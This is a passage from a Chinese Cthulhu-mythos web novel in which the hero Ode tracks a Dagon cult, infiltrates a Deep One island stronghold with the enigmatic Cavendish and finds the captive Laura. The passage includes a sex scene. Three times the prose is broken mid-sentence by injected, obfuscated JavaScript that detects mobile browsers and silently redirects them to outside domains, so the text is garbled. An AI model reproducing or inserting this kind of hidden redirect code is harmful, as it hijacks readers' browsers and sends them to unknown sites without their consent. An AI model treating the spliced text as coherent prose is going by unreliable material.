‘为什么我能吞噬这种东西??’ ‘变得越来越轻松了……这是不是意味着我离变成怪物更近了一步?’ ‘为什么我会习惯于忍受这种疼痛……为什么我从没碰过霰.弹枪,却对它的后坐力如此熟稔、对如何校准瞄点如此熟悉?’ “咔哒。” 翻转向下的足踝骤然回正,身上所有的伤都已经愈合。欧德深吸一口气,收敛起所有和当前的目标无关的思绪,撑着身后的树根借了一下力,站起身后环顾了一圈战场。 密林已经被夷平了。仅剩最边缘的一圈树。 大片白黑相间的灰烬铺在土地上,青苔、蘑菇、树木……全部被烧得只剩下残余的形状,欧德随便踢了一脚,残形就像沙堡一样簌然坍塌。 黑裘女士死了。她躺在某片隆起的土堑上,原本高大的身躯干瘪得像七八十岁的老妪。 所有沙尘之子也死了。他们的焦尸挤在密林边缘的屏障边,似乎直到生命的最后一刻,还在拼命尝试逃脱樊笼。 “卡文迪许?”欧德没看到那个最关键的身影,又环顾了一圈此时变得一览无余的密林,“你还在吗?” 没有回声。 有个完蛋玩意儿前脚刚从他这儿要来友好相处的承诺,后脚就拍拍屁股跑了个没影。 欧德用舌尖抵了抵一侧的脸颊,耐着脾气转身往密林外走。 密林都给霍霍成这样了,也没见什么疑似吃人怪物的影子,估计星之彩喷发时,那个怪物根本不在林子里。既然如此,他留在这片密林里也没有意义。 欧德一边走,一边从怀中抽出身上唯一一样没被星之彩破坏的东西。 那是一张纸。欧德从之前那个摄影师的照相机包里找到的。 当时他仗着卡文迪许看不见,将这个东西藏了下来,后来被卡文迪许追问的时候他死咬着没说,卡文迪许也没发现——这完全能进一步证实他的猜测了: 卡文迪许不光是无法通过视觉、嗅觉等等感知他,甚至也无法感知和他保持接触的东西。 真奇怪。怎么会出现这种情况呢?欧德心不在焉地想着,展开那张在星之彩的摧残中幸存下来的纸,扫了一眼: “……” 特别棒,一个单词都看不懂。 目标意向是外交部,自小就开始浸淫各国语音的优等生头一次产生对自己专业能力的怀疑:这玩意儿到底是哪国的语言?? 欧德眯起眼睛,尝试读了一下第一行:“Yog-Sothoth(犹格索托斯),vul……vulgt……” 第二个单词就读不出来的欧德哗啦一下把纸又折了回去,面无表情地塞回怀里。 什么犹格索托斯,凡伽什么什么的。——算了,还是先想想接下来该做什么。 欧德顺路捡起地上的霰.弹枪,背回背上: 首先,关于烧毁小镇的大火,现在可以肯定就是星之彩做的了。 唯一的疑问是,上一周目,星之彩直到6月2日才摧毁捕梦小镇,怎么这次他刚来不到两天,星之彩就提前发难了? 难道是他这轮没被卧底逮住,进森林的时间早,所以星之彩提前发情了? 欧德困惑地想着,并不在意把自己理解成荷尔蒙、信息素、春.药一类的物品。 还有一个细节——星之彩的斑斓虹光,看起来和浮士德交给他的手枪子弹一模一样。很可能,浮士德的手枪子弹就是用星之彩为材料做的。 换句话说,浮士德在逮捕他的时候,应该就已经能肯定火灾是怎么回事、他不是纵火犯了。之所以还是出动一整支队伍对付他,多半是怀疑“为什么会有活物能从星之彩的火里走出来?他还是人类吗?” ——这就能解释为什么他被捕后,浮士德还要用束缚带捆住他,以及伊娃张口就是一句“还算是人类”了。 别说这两个人怀疑,欧德现在自己也很怀疑,他巴不得现在就能赶回GORCC,自己把自己绑上伊娃实验室的手术椅,求对方确认一下自己的物种分类问题。 不过这都是后话,当前最重要的,还是接着追踪怪物的去向,寻找萝—— “……密教……” 风刮过田垄,带来了原本欧德不可能听到的只言片语。 “……”欧德的耳尖动了一下,停住脚步。星之彩极大程度地提升了他的感知,好比此时,他有意屏住呼吸,凝神聆听,就能捕捉到数百米外田野中的一段小声对话: “……太大张旗鼓,警察快查到我们头上了。” “那又怎么样?弱小的人类,哪怕拿根烧火棍,能伤到我们?” “我看你是被教里那些狂热者冲昏头了!掌握着过人力量的,是那些深潜者、还有深潜者的后裔们,你我都只是拜服于达贡的信徒,血管里流淌着人类的血!你敢说警察打你一枪你死不了?!这么多年……难道你就没想过,我们大衮密教为什么要叫‘密’教?” “你太优柔寡断了,我的挚友。倘若我们真的能为唤醒密教的伟大事业挨枪子,深潜者们自然会给予和我们的忠诚等同的奖——” “他们用人类做祭品!”两道声音中更沉稳的那一个终于因同伴的不开窍愤怒低喝,“他们用我们的同类做祭品!你觉得在他们的眼中,我们和那些祭品有很大区别吗?!” 另一人不以为然:“这跟物种没有任何关系。让我这么问吧:你会和一条狗生孩子吗?不会吧?你只会和自己的同类□□。那些深潜者总爱挑容貌绝佳的人类生崽,这不正证明——” “你真觉得掳掠你、强迫你,能算得上把你当同类?”沉稳的声音讥讽道,“太棒了。旧时代的女仆也是这么看自己和领主老爷的。——别这么瞪我,我并不是要背叛教会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542085|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是提醒你,派给你抛头露面的任务少出头,免得被警察打死了都没人给你收尸。” “做人清醒点不好吗?我们是奔着能从深潜者手里接到一星半点力量的馈赠来的,那就有点做附庸的自觉。可别真把自己当成和深潜者平等的同类了……你走去对据点里任何一个深潜者说这话,你看他们认你吗?” 对话就此静了下来,不再有下文了。 欧德轻轻摩挲了一下冰冷的枪膛,汲取到些许安定感,大脑迅速分析新获得的这段情报: “太大张旗鼓”?“抛头露面”?好像镇子里也没什么事儿能称得上“大张旗鼓”—— 欧德忽地一顿,想起之前去萝拉家时,在保罗手中看到的那张选星的广告,还有那张贴在学校门口的广告。 再加上用人类做祭品——总爱挑容貌绝佳的人类生崽——明星招聘——大衮密教—— 一时间,所有的情报都串联起来了。 萝拉被抓时,不可能预先知道怪物会将自己带去密林,所以书柜上的那个“密”,的确指的不是地名,而是能通过偷听对话判断出的情报:密教! 三天前那一晚,一定是有大衮密教的人悄悄潜进校园,张贴看似是挑选明星,实则是挑选祭品的广告。 不知出于什么需求,这帮人趁夜溜进了图书馆,因此被悄悄来看书的萝拉发现。 萝拉偷听谈话后知晓这群人的身份,但不幸被这帮人察觉,被强行掠走时挣扎着留下提示,隔天才被醒来的室友发现她不明原因地失踪。 顺着这个猜想倒推,欧德甚至还能对应上其他线索—— 比如,为什么黑裘女士那群混血长得丑陋不堪,生下的孩子却冰雪漂亮?因为他们会抓样貌上佳的人类□□啊! 这些混血幼年时,一定呈现的是人类血脉的特征,直到达到一定的条件,才会开始蜕变——就和之前那个袭击他的卧底说的一样! 欧德的呼吸因这堪称破局的发现而激动得乱了一秒,但很快便克制着恢复平稳。 他立即加快了步伐,直奔市集而去: 要在小镇中寻找到处移动的怪物很麻烦,但找一个固定的招聘面试地点还不简单吗? 十分钟后,市集中央的青石广场。 穿着洞洞装的欧德拿着一片空白、填都没填的申请表,面不改色地沐浴着一众极其微妙的目光,被面试地点的负责人亲自带着,一路穿过一众排队等待的报名者,请进单独的面试间内。 “请在这里稍等,面试官稍后就来。”负责人很有礼貌地邀请欧德先行坐下,“还有,您这猎枪——” 欧德翩翩然坐上红丝绒靠椅,身体舒展地向后一靠,又直又长的右腿往左腿上一搭:“我的枪怎么了?” “…………”为了防止吓跑送上门的猎物,所以血统稀薄的负责人看着欧德从一身褴褛布料里露出的身躯,本来眼睛没长凸,都要看凸出来了。再开口时,一整个魂不守舍:“啊,行,都可以,可……诶呦!” 负责人没注意看路,一个转身在门侧框撞个正着。 欧德在负责人身后嗤笑了一声,这倒霉家伙就立即火烧屁股似的一窜,面红耳赤地冲出去,“嘭”地关上房门。 小屋里静了两秒。 紧跟着坐得相当放肆随性的欧德就弹了起来。 因母亲的癖好和就业意向,欧德其实从小到大都习惯了衬衫、马甲、西装,裹得里三层,外三层。穿成现在这样就出门,对他来说和裸.奔有什么区别? 他一边扯着身上的破布,一边琢磨能怎么搞套完整衣服来。视线划过玻璃窗,就在对面的廉价工人咖啡摊上,看见一道熟悉的身影背对他坐着。 “……”欧德拎着破布往网格玻璃窗边靠近了几步,这不是卡文迪许吗? 怎么会在这? 欧德思索片刻,抬手撑起窗户,从窗台顺手摸起一颗碎砖,冲着卡文迪许的后背一丢。 “?”就像背后长着眼睛一样,卡文迪许极其精准地抓住了这颗从后方袭击而来的暗器。顿了顿后,他转身,“欧德?” 欧德将手臂搭在窗台上,冲着卡文迪许吹了声口哨:“过来。” 他又丢了颗石子过去,靠着石子落地的声音,将卡文迪许一路引到窗台前,随后将沾满砖灰的手重重拍在卡文迪许没有丝毫褶皱的西装肩膀上,铁箍似的用力收紧手指,压低声音,一字一顿地轻声问: “谁,允许,你,离开,我,身边的?” 卡文迪许的表情一看就是张嘴吐不出象牙。 欧德不等对方的回答说出口,接着问:“密林里的星之彩,是你弄的?” “……”卡文迪许陷入看起来无言以对的沉默,片刻后抬手,握住欧德抓着他肩膀的手腕,将欧德擦拭得干干净净的手挪开,紧跟着微微向前倾身,拉近和欧德的距离,以同样低的声音,一字一顿地轻声道: “我,保证。如果,我下了杀手,我会,陪在你身边,直到最后一丝生机抽离你的身体。” 13.第 13 章 欧德定定地看了卡文迪许几秒,忽地笑起来,他抽回自己的手,轻佻地拍了拍卡文迪许的侧脸:“醒醒宝贝,太阳晒屁股了。” 想杀死他?做梦。欧德起站直身,放松地坐回红丝绒靠椅:“进来,顺便把你的外套脱给我。” “?”在欧德收回手后,才注意到肩头指痕的卡文迪许收回盯着侧肩的视线,“你为什么认为我会配合?” 欧德好整以暇地单手撑着侧颌,左手叩了叩扶手:“你还想继续留在我身边吗?” “……” 数秒的僵持后,卡文迪许在欧德微笑着的注视下长腿一撩,直接跨进低矮的窗台里。 他宽阔的背影遮住了大半从窗台洒进来的光,垂下手,修长的手指一勾,解开西装纽扣:“你是怎么应对星之彩的?弄清楚它是怎么回事了吗?” 欧德耸耸肩,实用主义的思维方式展现的淋漓尽致:“我为什么要在意这个?反正它已经被彻底解决,不会再造成威胁了。” “……”卡文迪许拉开衣领的动作一顿,“你战斗的时候没观察过它的性质?弱点是什么?” “我又不打算在GORCC开课。在那种情形下能打赢不就行了?搞什么学术研究?”欧德懒洋洋地向侧倒去,伸手够到卡文迪许的衣摆,将人拽到身边,站起身。 他抬手搭上卡文迪许的衣领,向两边拉开—— 没拉动。 欧德:“又怎么了呢,我亲爱的豌豆王子?” “什么?”卡文迪许因欧德的称呼微微皱眉,垂下头——欧德发现卡文迪许好像真觉得他很迷你似的。这人还无声掀动嘴唇,似乎是骂了一句“野蛮”。 “……”人能活着就不错了,难道还要边战斗,边做数据收集才不野蛮吗?事多成这样,就是惯的。 欧德“啪”地拍开卡文迪许拉着衣领、不干活只碍事的手,不紧不慢地将西装外套从对方身上褪下来,搭上肩膀:“抓走萝拉的多半是密教,我准备——” 卡文迪许在他身后,以一种很坚定的力道拽住了他的衣袖。 “……”欧德呼出一口气,感觉自己快习惯卡文迪许这种达不到目的时的抗议方式了,他心平气和地问,“你有什么高见要发表?” “哦!我差点忘了你博览群书,好像对沙尘之子、夸切·乌陶斯这些异端颇为了解了。你是不是有些关于着火小石头的专业小知识想跟我分享?我洗耳恭听。” “星之彩不是石头,它们是来自地球之外的能量生命。斑斓的火焰是这种能量体看起来的样子,但如果你抓到的是石子一样的东西?那是还在卵壳中,还没完全成熟的星之彩。” 卡文迪许绝对不是听不出冷嘲热讽的人,只能说此人相当在意知识的正确性: “当一群幼年星之彩被形似陨石的卵壳带着,降临某个地区后,它会先污染扭曲周围的环境。直到将环境改造至完全适合幼体进食了,卵壳会融化,幼体破壳而出,吸取走周围所有的生命。” “它们不是火,那是能量体。那些尸体也不是被火烧焦的,是被汲取干净了生命,才会发灰变脆,变成一堆灰烬。” 欧德用了下力,将衣袖从卡文迪许手里抽出来,系好纽扣后毫不委婉地问:“知道这些对我来说有什么好处?回到过去再打一遍星之彩?” 唯一有价值的信息,是星之彩很可能是像陨石一样意外降临捕梦小镇,而非被哪一方势力利用,安置在密林的。 卡文迪许多半没有说谎,欧德回想起黑裘女士曾说过,她丈夫进密林是为了“采集矿石”,多半就是冲着解决星之彩去的。 肥皂公司也不可能跟星之彩有关,不然他们应该天天在星之彩边上蹲着,而不是挂着相机到处拍照。 至于沙尘之子……这倒是有点难说。他到现在还没弄清这个教团被夸切·乌陶斯召请到这里是做什么。 欧德意有所指地瞥向卡文迪许:“说起来——之前在旅馆里,你让三个房间一眨眼变成那样,该不会你也是沙尘之子——” 欧德眼见得卡文迪许的眼睛慢慢睁大了,之前“失足坠楼”时都没见这人的眼皮跳出过“神色淡淡”这个区域。 但他话还没问完。 “哗啦!” 面试间大门被一下推开,一道高大得几乎抵着屋顶的身影弓腰弯背地走进来。 负责人殷勤地说:“面试官来了!您——咦?这是谁?” 欧德侧头瞥了眼卡文迪许,正要鬼扯,一看就血统纯正的面试官蓦然发出一声愤怒的咆哮:“你!!就是你杀死了我的同胞!!” “嘭!” 还搞不清楚状况的负责人被一脚踹出屋子,下一秒房门就被面试官重重掼上。 卡文迪许几乎是立刻向后退了一步,大有“将舞台让给你”的意思,欧德刚条件反射地伸手摸向背后的□□,一具少说几百斤的肉山就猛然砸向他,声如殷雷:“我要拧下你的头颅……卑贱的人类!” 时间像在这一刻被拉长了,欧德的身体随着扑来的重量向后倒去,右手扣住了□□的枪把,但最终又在心念转动间松开。 不能在这里开枪。 利用面试混进深潜者的据点,是最简单的方法,如果直接开枪,那就是全面开战了。 “咚!” 沉重的身躯砸得屋内吊灯颤动,欧德闷哼了一声,感觉自己的肋骨大概断了几根,又在经由两次进食而拔升的愈合力促使下渐渐恢复。 死不了就没必要管,欧德在对面的鱼头张嘴喷发出口臭前先行抬手,捧住面试官因愤怒而卉张的颈侧腮:“你真想这么做吗?” “我当然……”面试官咆哮到一半戛然而止了,一双凸起的鱼眼中倒映着身下的人类那双秾丽的像凝固着血似的睫毛,细微颤动间露出深得谲艳的绿眼睛,靡艳的眸光在暗处游弋,霎时将那张脸原本的纯粹干净冲散成脆弱的碎片。 面试官的呼吸渐渐变得急促,欧德还在疯狂给自己做心理建设,催眠自己舍不得孩子套不着狼,但这个狼实在是丑得够呛,就听面试官浑身战栗着道:“完美……我找到了,最完美的新郎!” “?”欧德还在想什么最完美的新郎,面试官豁然起身,神经质地重复:“完美、太完美了……赞美父神!我寻找到了一定能让您满意的人选!起来,你还能站起来吗?我要立刻带你回岛上!” 半小时后。小镇南边那座离岸的小岛上。 夜色已经完全笼罩了捕梦小镇,欧德拽着柔弱不能独立行动的卡文迪许,跟在面试官身后穿梭过建得像巨人坝一样的深潜者据点。 这个据点开凿在小岛的石山内部,盘旋着向下将近十余层,一路都是紧挨着的、像牢房一样的洞穴。 从最高层向下看有绝对不止数千米的落差,哪怕欧德的视力颇有改善,依旧看不清底层。 “你们不会住在这里,”面试官对欧德温和地说,至于卡文迪许,他似乎完全将其视为空气,也不知是因为卡文迪许一直沉默、存在感低,还是因为某种来自生物本能的畏怯回避,“只有血统不纯的深潜者才会住在堡垒的上层,他们负责守卫和迎敌。你们今晚的住所在最底层——我愿意把我的私人住所借给你们,直到……最重要的那一刻来临。” “同胞的血……”沿途路过的洞穴里探出一颗颗畸形的头颅,低等的深潜者冲着欧德露出憎恶的眼神,又碍于面试官并不敢发难。 欧德心里疯狂敲边鼓,面上依旧泰然自若,他甚至还有闲心挨个冲着沿途这些深潜者们投去半是挑衅半是引诱的目光——当然,真正的目的是寻找有可能出现在这些深潜者房间中的萝拉。 他不希望看到这样的画面,但比起死亡,活着至少还有希望。 一间……两间……欧德始终没有看到萝拉的身影,因此松了一口气,但也更加提心吊胆: 小姑娘不会已经死了吧?还是说,他的推测又出错了,萝拉并不在深潜者的据点里? 一直像影子一样跟在他身边的卡文迪许忽然轻轻动了下手腕,悄声说:“看那儿。我闻到了尸体的味道……” “?”欧德循着卡文迪许的示意望去,半是惊怒半是惊喜地看到第三层东面,有三个洞穴并没有住着深潜者,而是关着奄奄一息的人类。 萝拉似乎是祭品中少有的女性,她瘦小的身影就半靠在其中一个牢房的铁栏杆边,看起来像是因为过度饥饿陷入了昏迷。 欧德的心脏重重跳了几下,紧跟着如释重负。 经过了这么长时间……经历了这么多波折,他终于找到了萝拉本人,并且她还活着!天啊,他几乎都想赞美上帝了! 欧德控制住自己的嘴角,仍装作漫不经心道:“那边三间牢房,怎么有一间是空的?” 面试官仍处在魅惑状态,不假思索地回答:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546576|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空。里面放的是沙尘之子、科隆尊教会这些来跟我们争地盘的家伙的尸体。” “?”欧德敏锐地捕捉到了新词汇:“科隆尊教会?什么是科隆尊教会?沙尘之子来捕梦小镇跟你们争地盘的?” “哦……小漂亮。”面试官转过头,青灰色的大脸盘子上流露出怜爱的神色,差点让欧德绷不住挪开视线,“你真的什么都不知道,是吗?” “科隆尊教会,就是信奉犹格索托斯的教团。他们有一位强大的神祇——但有什么用呢?他们信仰的神明不庇佑他们,他们又是如此弱小……” “你对总是在镇子里晃荡、脖子上挂着相机的家伙们有印象吗?他们就属于这个教会。” “……”欧德控制住了脸上的神色,虽然站在他面前的面试官不会注意到他的微妙表情,卡文迪许又看不见。 “犹格索托斯”?之前他从密林里那个倒霉摄影师身上搜出来的纸,上面第一个单词,不就是犹格索托斯? 他还以为那个词汇有其他含义,原来那是神祇的名字? 欧德的大脑迅速运转起来:即使深潜者有自己信仰的神明,但面试官依旧承认“他们有一位强大的神祇”。那么他能否推断,这位犹格索托斯的力量可能比深潜者所信仰的邪神更加强大? ——那就能解释,为什么所有照片都在星之彩的攻击下变成碎屑,但那张看起来单薄普通的纸却毫发无损了。 欧德若有所思地摸了摸藏在胸口的纸张,面上仍不动声色地追问:“他们来捕梦小镇做什么?沙尘之子来这儿干什么?这个小镇有什么特别的,值得让这么多方觊觎?” “他们不是觊觎。我说‘争地盘’的意思是——捕梦小镇现在是我们深潜者的地盘,因此站在我们地盘上的任何外来者,都是需要铲除的敌人。” 他们终于到达了最底层,面试官在一处开凿得方方正正的洞穴口停下:“说实话,我真想不通科隆尊教会来这儿做什么……他们带着相机,比起想干什么,更像是想见证什么。” “还有沙尘之子——那就更奇怪了。他们辛辛苦苦跑来捕梦小镇,来了之后又天天泡在密林里研究怎么出去,是生活太闲了吗?” “哦!还有牢房里那些沙尘之子的尸体。你注意到了吗?他们干瘪得像具木乃伊——但脊椎没有扭曲。那说明他们死亡并不是因为夸切乌陶斯充满恶意的庇佑,而是因为他们信奉的神明,夸切乌陶斯,曾经寄居在他们身上……” 深潜者们看起来傲慢,但对于潜在的威胁因素,他们显然一直保持着观察和警惕。这些问题欧德在思考,面试官平时肯定也没少琢磨,不然不会一问就讲得这么头头是道。 欧德还想再问,面试官却又亢奋起来,他一把将欧德推进房间,战栗着攥紧双手往后退了一步:“早点休息吧,亲爱的。今晚过后,你说不定会忙得连口喘气的机会都没了。” “当!” 卡文迪许被欧德一起拽进屋的下一秒,缟玛瑙制成的黑色石门便被面试官重重关上。 欧德顾不上思考“今晚过后,你说不定会忙得连口喘气的机会都没了”是什么意思,带着还一直不住的激动在黑漆漆的密闭空间里转了一圈:“太好了。比我设想得还要好!” “现在我们只需要等到晚上——我是说,深潜者守卫力度放松的时候,救走那些人质,我们就可以……你在干什么?” 欧德匪夷所思地侧头,看见显然根本不在意人命的卡文迪许点燃一根蜡烛,照亮了开辟得像旅馆套房——可能比旅馆套房更加金碧辉煌的石室:“找沐浴的地方。” 这位自称目不能视的柔弱人士也不用手杖了,黑亮的牛津皮靴踩着地面上不知从什么生物身上扒下的柔软灰黑色皮毛,径直走进浴室:“不必在意我。你分析你的,我洗我——” 卡文迪许顿住了。 隔了一会,他微微低头,雾蒙蒙的眼睛扫向和他一道侧身挤在浴室门口,胸膛抵着胸膛的欧德:“……如果你很想先洗,我可以让你。” “可怜可怜我吧,”欧德漫不经心地捋了一下卡文迪许的马甲衣领,语气里毫无诚意,“之前在密林里弄丢了一次你,吓都快把我吓哭了,哪还敢再让你离开我的视线?” 卡文迪许顿了顿,重复:“我准备沐浴。” 欧德冲他扬了一下眉,手指轻巧地勾开西装纽扣:“那你一定不介意和我一起。” 14.第 14 章 烛光摇曳。西装外套滑落在地,发出扑簌轻响。 “……”卡文迪许的脸极细微地侧了一下,紧跟着端着烛灯,向浴室外侧迈了一步,“承蒙厚爱,但我对这方面没有兴——唔。” 他被上前一步的欧德一下抵在门侧。欧德的右手插.入银亮的发丝,紧跟着按住卡文迪许的后脑,强行将对方的头按侧偏过来,两片唇猝然相撞。 “…………”卡文迪许的动作静止了整整两秒,抓住欧德手臂的右手才动了一下。 最开始是想将欧德向外拉开,但力气小得完全可以忽略。又攥了几秒,他的手缓缓松开了,顺着欧德瘦削的后脊,滑向总是挺直、绷着一条漂亮的曲线的后背。 这不是个温存的吻,与那相距千里。 他们更像是两头蓄势待发的野兽,威胁性的低吼都要从胸膛中滚出来,也要藏起龇起的森白利齿,用看似柔软的唇肉伪装无害。 “我以为……你对这种事会更深思熟虑。”卡文迪许的声音失去了惯常的清晰简洁,带着点含混,但他并不喘息,呼吸依旧平稳,平稳得简直不像个正常人类,“你想试探什么?我是不是像深潜者一样的怪物?” 难道不是?欧德心里想着这句话,明面上却不说。万一卡文迪许跟卧底一样有两幅面孔,被他戳穿后刷地变脸呢?他对卡文迪许现在的模样还是很满意的:“就不能是一见钟情?也可能,就是今天忽然有兴致了,想跟你聊聊《小王子》呢?” 他胡扯的。欧德一点不想跟卡文迪许这头牛聊《小王子》这朵牡丹,此人的阅读对《小王子》来说简直是一种糟踏。 但架不住卡文迪许是真想,他一只手握住了欧德的侧腰,半强势地将人往自己的方向带:“‘我清楚地感到发生了某种不寻常的事。我把他当作小孩一样紧紧抱在怀里,可是我感觉到他径直地向着一个无底深渊沉陷下去,我想法拉住他,却怎么也办不到……[注1]’” 卡文迪许另一只手上的蜡烛被无情地抛弃了,骨碌碌滚落在地,将地面上那种光滑油亮的皮毛点燃,繁复昂贵的金饰宝石也一并被火舌吞没。 卡文迪许的手臂收紧了,他比人类更加冰冷的鼻尖摩挲过欧德的额头、嘴唇,呼吸喷洒向欧德急促起伏的胸膛,在那片薄薄的皮肉之下,是欧德跳动的心脏: “你在为飞行员难过吗?”卡文迪许的声音低沉沙哑,“为他不得不亲眼目睹小王子为了回去寻找玫瑰,被毒蛇咬死,一点一点走向死亡?” “这是个糟糕的故事。”卡文迪许如此一锤定音道,“小王子不切实际的浪漫主义,飞行员心有余而力不足的无能——如果我在这个故事中,这个故事不会是这样的结局。” 欧德想翻白眼,但卡文迪许再次俯身过来,含住了他的唇。 他用上了牙,将欧德的下唇咬破了一处小口,血刚从破口处涌出,卡文迪许就细密地吮吻那里,好像那里就是所有欲望的源头和归处。 火光明灭,滚烫的温度逐渐充斥整个冰冷的石室。欧德的呼吸急促起来,同时听见卡文迪许的呼吸在双唇分开后也终于变得不稳。 他们在纠缠间踉跄进浴室,水珠洒落到衣衫未褪的身上时,欧德被卡文迪许握着腰,一下抬坐到窗台上,后背将彩色玻璃窗撞得“哗啦”作响。 “外面有声音。”欧德的眼睛半睁开一点,某种妖冶的眸光在眼底像游鱼一样微颤着,“深潜者在内斗。” “那不在你的算计中吗?”卡文迪许的双手撑在欧德的肩膀上方,“你难道没有故意在进入据点后,四处留情吗?” ——有的。 因此欧德这会儿能丝毫不担心地闭上眼睛,将手指梳入卡文迪许微凉的长发,轻微用力暗示着鼓励,并不理会隔着薄薄一层窗玻璃,深潜者据点陷入了怎样的内乱。 “你们疯了!!那个贱种——他杀死了我们的同胞!他是我们的仇人!!你们却想送他去做公主克希拉大人的新郎[注2]?!” “他是最完美的那一个!最完美的,就应当献给克希拉大人!他们将结合……克希拉大人将怀孕……伟大的克苏鲁将从他女儿的子宫中彻底复苏!” “不……不……美人……你不会属于克苏鲁,也不会属于克希拉……你是我的,是我的!!” 癫狂的大笑、仇恨的咒骂、一遍又一遍祷颂伟大之克苏鲁的声音,和爪牙撕裂血肉,折断脊骨的声音混在一起,交织成血腥的狂欢曲,奔赴向据点最深处那个争论的焦点所处的房间,无人在意仍昏迷在第三层牢狱中的人质。 窗内,欧德弓着腰靠在窗台上,视线上扬,颀长白皙的脖颈越发紧绷,渐渐趋于熄灭的火光修饰出那段愈显脆弱的线条。 屋子里已经没有平静的呼吸声了,只有深深浅浅的喘息撞在墙上。 某一刻,欧德忽地微微睁眼,浓郁的谲绿色自眼睫下漏出一点:“密林里……你去哪了?” 卡文迪许的声音带着叹息:“处理一些小麻烦……也许算不上小。我想离开很久,你会怀疑我毁约而生气,所以没谈完又赶了回来,可我找不到你。” 卡文迪许的头埋进欧德的肩窝里,深深嗅闻了一下,似乎想记住欧德身上皮肤的气息、皮肤下血液的气息,但那大概是没用的,因此他又重复了一遍:“我找不到你。所以我在面试据点外等你,我想你一定会来,你能找到这里……” 而你找来了。 卡文迪许的未尽之言没有说出口,只有嘴角勾起的弧度象征着欣喜。 欧德藏在眼睫下的眼珠微微动了一下:“是吗?听起来我们之前在密林里达成的约定还算数。” “当然。我不会离开你——至少这次不会。”卡文迪许微笑起来,他牵起欧德的右手,顺着欧德的指缝缓缓相扣,“就像我说的,‘如果我下了杀手,我会陪在你身边,直到最后一丝生机抽离你的身体。’” “……”欧德的眼睫倏然掀起。 欲望真是世上最好用的撬棍,至少在此之前,卡文迪许绝不可能说出这种直白到几乎等同于撕破脸皮的话。 “你动了手脚?什么时候?什么手脚?”欧德迅速推开卡文迪许,从窗台上跃下地,稍微腿软了一下,但无伤大雅,“我知道你一直想让我来海边,但面试官之前说了,牢笼里那些沙尘之子之所以干瘪但脊椎没有扭曲,是因为夸切·乌陶斯曾附在他们身上——” 这条信息看似无用,但却解答了欧德一个相当重要的疑问。 为什么,明明身边有一个就杵在原地不动的摄影师,密林里那个吃人的怪物却只追着难到手的猎物跑,而不对摄影师动手? “那个怪物,只追逐实力足够强大的猎物。第一个被怪物猎捕的沙尘之子,在照片中已经呈现出干瘪的特征——他被夸切·乌陶斯附身了,怪物猎捕的是强大的夸切·乌陶斯。” “第二个被怪物猎捕的是黑裘女士的丈夫——那家伙能够被委命单独对付密林中的星之彩,说明他在深潜者中实力也是足够强劲的。” 按这个逻辑推,怪物为什么不跑来深潜者据点吃快餐,而是天天蹲在密林? ——它在等星之彩彻底孵化啊!换句话说,怪物的选择已经暗示了深潜者据点和星之彩的实力谁更强。 可如果星之彩比深潜者据点更强大的话,为什么在他剿灭了星之彩后,卡文迪许却仍认为,来到海边对他来说是能致命的? 就在这时,一段断断续续的声音忽地传入欧德耳中:“小心……这个人类不……” 那声音十分奇妙,听不出性别,虽然细微却有种神圣宏大的震鸣感:“……有人阻碍……与你交谈。离开这里!深潜者在召唤大衮!他们本要用人类作祭品,但现在大量深潜者死去,鲜血流入祭坛,大衮将比预期还要早地降——” 声音戛然而止,像通话被人暴力掐断。 “?!”欧德的瞳孔微微缩小,下一刻也来不及优柔寡断到底要不要相信这莫名其妙的声音、大衮又是哪来的新物种,直接捞起地上的西装边穿边大步走向门口。 因为缺乏足够的易燃物,石室内的火早已熄灭。欧德试了一下,根本无法凭借自己当前的力量暴力破门,只顿了一下,就果断转身回到浴室。 他抬臂排开表情不是很满意的卡文迪许,正准备用手肘强行撞看起来是玻璃制品的窗户试试—— “……” 窗外的所有嘈杂,都在这一秒倏然死寂。 “……”欧德撞玻璃的动作缓了下来。 越过彩窗,他看见外面似乎朦朦胧胧的,起了海雾。而在海雾之中,有某种幽幽发光的东西正缓缓升起,从最开始的和他视线平齐,到他已无法在窗内看清它的全貌。所有的月光都被它遮挡得严严实实,就仿佛他面前杵着一整条竖立的蓝鲸[注3]。 欧德:“……” 欧德缓缓张嘴:“艹。” 这玩意儿怎么打??一时没忍住,生平第二次爆了粗口的欧德简直头发都要炸起来了:他无法想象自己已经生活了21年的世界里居然存在有这样的怪物,而人们——好比此前的他,对此居然毫不知情! 一连串的F词就要脱口而出,又被欧德咬牙憋了回去。他看见那些幸存下来的深潜者们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551697|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新在那巨物周围聚拢,虔诚地跪拜着喃喃父神,又有一支小队连滚带爬地出列,直奔第三层的牢笼。 “不。”欧德下意识的喃喃,“你们休想。” 